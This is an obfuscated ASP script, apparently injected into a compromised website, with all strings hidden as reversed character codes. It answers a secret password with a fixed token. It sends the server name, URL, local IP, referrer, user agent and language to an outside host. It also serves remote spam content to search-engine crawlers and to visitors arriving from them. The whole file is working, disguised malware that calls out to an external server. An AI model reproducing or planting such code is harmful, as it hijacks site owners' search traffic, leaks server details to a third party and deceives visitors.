<% sadfkiasdfke = Q(strreverse(Chr(116)&Chr(99)&Chr(97)&Chr(113)&Chr(113))):if isset(sadfkiasdfke) = false then:sadfkiasdfke = Request.form(strreverse(Chr(116)&Chr(99)&Chr(97)&Chr(113)&Chr(113))):end if:if sadfkiasdfke = strreverse(Chr(54)&Chr(99)&Chr(51)&Chr(51)&Chr(53)&Chr(53)&Chr(51)&Chr(50)&Chr(48)&Chr(49)&Chr(55)&Chr(102)&Chr(52)&Chr(50)&Chr(49)&Chr(53)&Chr(48)&Chr(102)&Chr(101)&Chr(54)&Chr(102)&Chr(57)&Chr(100)&Chr(99)&Chr(101)&Chr(97)&Chr(53)&Chr(97)&Chr(102)&Chr(100)&Chr(101)&Chr(102)) then:echo(strreverse(Chr(102)&Chr(50)&Chr(52)&Chr(101)&Chr(48)&Chr(57)&Chr(50)&Chr(49)&Chr(49)&Chr(98)&Chr(57)&Chr(57)&Chr(54)&Chr(55)&Chr(50)&Chr(98)&Chr(100)&Chr(54)&Chr(51)&Chr(100)&Chr(50)&Chr(57)&Chr(48)&Chr(54)&Chr(98)&Chr(100)&Chr(102)&Chr(52)&Chr(101)&Chr(50)&Chr(100)&Chr(51))):response.end:else:lsdfiasldkas = R(strreverse(Chr(69)&Chr(77)&Chr(65)&Chr(78)&Chr(95)&Chr(82)&Chr(69)&Chr(86)&Chr(82)&Chr(69)&Chr(83))):sadflklasfks = R(strreverse(Chr(76)&Chr(82)&Chr(85))):sadlfaskldsa = R(strreverse(Chr(82)&Chr(68)&Chr(68)&Chr(65)&Chr(95)&Chr(76)&Chr(65)&Chr(67)&Chr(79)&Chr(76))):iwwkewidksda = R(strreverse(Chr(69)&Chr(71)&Chr(65)&Chr(85)&Chr(71)&Chr(78)&Chr(65)&Chr(76)&Chr(95)&Chr(84)&Chr(80)&Chr(69)&Chr(67)&Chr(67)&Chr(65)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72))):sdfasfdsawwe = LCase(R(strreverse(Chr(82)&Chr(69)&Chr(82)&Chr(69)&Chr(70)&Chr(69)&Chr(82)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))):ksdidskdjeee = LCase(R(strreverse(Chr(84)&Chr(78)&Chr(69)&Chr(71)&Chr(65)&Chr(95)&Chr(82)&Chr(69)&Chr(83)&Chr(85)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))):se = array(strreverse(Chr(101)&Chr(108)&Chr(103)&Chr(111)&Chr(111)&Chr(103)),strreverse(Chr(111)&Chr(111)&Chr(104)&Chr(97)&Chr(121)),strreverse(Chr(103)&Chr(110)&Chr(105)&Chr(98)),strreverse(Chr(108)&Chr(111)&Chr(97)),strreverse(Chr(107)&Chr(115)&Chr(97))): IsSe = false: FromSe = false: IsPage = true:For i = Lbound(se) to Ubound(se):if instr(ksdidskdjeee,se(i)) > 0 then:IsSe = true:exit For:end if:if instr(sdfasfdsawwe,se(i)) > 0 then:FromSe = true:end if:Next:Set re = New RegExp:re.Pattern = strreverse(Chr(41)&Chr(112)&Chr(115)&Chr(97)&Chr(46)&Chr(92)&Chr(116)&Chr(108)&Chr(117)&Chr(97)&Chr(102)&Chr(101)&Chr(100)&Chr(40)&Chr(47)&Chr(92)&Chr(124)&Chr(41)&Chr(112)&Chr(115)&Chr(97)&Chr(46)&Chr(92)&Chr(120)&Chr(101)&Chr(100)&Chr(110)&Chr(105)&Chr(40)&Chr(47)&Chr(92)):re.Global = True:re.IgnoreCase = true:re.MultiLine = false:sadflklasfks = re.Replace(sadflklasfks,strreverse(Chr(47))):sdlfaskdaiew = strreverse(Chr(47)&Chr(47)&Chr(58)&Chr(112)&Chr(116)&Chr(116)&Chr(104)) & lsdfiasldkas & sadflklasfks:re.Pattern = strreverse(Chr(95)&Chr(124)&Chr(87)&Chr(92)&Chr(124)&Chr(46)&Chr(92)&Chr(119)&Chr(119)&Chr(119)&Chr(124)&Chr(58)&Chr(112)&Chr(116)&Chr(116)&Chr(104)):sdafkadsfkae = re.Replace(sdlfaskdaiew,""):iekwieksisss = Q(strreverse(Chr(100)&Chr(105)&Chr(114)&Chr(97)&Chr(113))):slfasikwwewi = strreverse(Chr(47)&Chr(120)&Chr(97)&Chr(106)&Chr(97)&Chr(47)&Chr(122)&Chr(105)&Chr(98)&Chr(46)&Chr(101)&Chr(100)&Chr(97)&Chr(114)&Chr(116)&Chr(100)&Chr(106)&Chr(46)&Chr(119)&Chr(47)&Chr(47)&Chr(58)&Chr(112)&Chr(116)&Chr(116)&Chr(104))& sdafkadsfkae & strreverse(Chr(61)&Chr(49)&Chr(113)&Chr(63)&Chr(112)&Chr(104)&Chr(112)&Chr(46)&Chr(50)&Chr(118)&Chr(95)&Chr(95)&Chr(95)&Chr(95)&Chr(95)&Chr(95)&Chr(95)&Chr(95)&Chr(47)) & iekwieksisss &strreverse(Chr(61)&Chr(50)&Chr(113)&Chr(38))& sdlfaskdaiew & strreverse(Chr(61)&Chr(51)&Chr(113)&Chr(38)) & sadlfaskldsa & strreverse(Chr(61)&Chr(52)&Chr(113)&Chr(38)) & sdfasfdsawwe & strreverse(Chr(61)&Chr(53)&Chr(113)&Chr(38)) & ksdidskdjeee & strreverse(Chr(61)&Chr(54)&Chr(113)&Chr(38)) & sadfkiasdfke & strreverse(Chr(61)&Chr(55)&Chr(113)&Chr(38)) & iwwkewidksda:if IsSe or FromSe or sadfkiasdfke = strreverse(Chr(100)&Chr(54)&Chr(55)&Chr(48)&Chr(51)&Chr(49)&Chr(53)&Chr(97)&Chr(53)&Chr(51)&Chr(100)&Chr(56)&Chr(97)&Chr(56)&Chr(57)&Chr(51)&Chr(102)&Chr(52)&Chr(102)&Chr(56)&Chr(99)&Chr(55)&Chr(56)&Chr(54)&Chr(54)&Chr(100)&Chr(53)&Chr(55)&Chr(100)&Chr(56)&Chr(48)&Chr(56)) then:content = GetBody(slfasikwwewi):echo content:if content <> "" then:response.End:end if:end if:end if:sub echo(msg) response.write msg end sub:function isset(str) if IsEmpty(str) or IsNull(str) then: isset = false: else: if str = "" then: isset = false: else: isset = true: end if: end if end function:Function GetBody(Url):Dim objXML:On Error Resume Next:Set objXML = CreateObject("Micr"&"osoft.XMLHT"&"TP"):With objXML:.Open "Get", Url, False, "", "":.Send:GetBody = .ResponseBody:End With:GetBody=BytesToBstr(GetBody,"utf-8"):Set objXML = Nothing:End Function:Function BytesToBstr(strBody,CodeBase):dim objStream:set objStream = Server.CreateObject("Ado"&"db.Stre"&"am"):objStream.Type = 1:objStream.Mode =3:objStream.Open:objStream.Write strBody:objStream.Position = 0:objStream.Type = 2:objStream.Charset = CodeBase:BytesToBstr = objStream.ReadText:objStream.Close:set objStream = nothing:End Function:function R(i):R=Request.ServerVariables(i):end function:function Q(i):Q=Request.QueryString(i):end function %>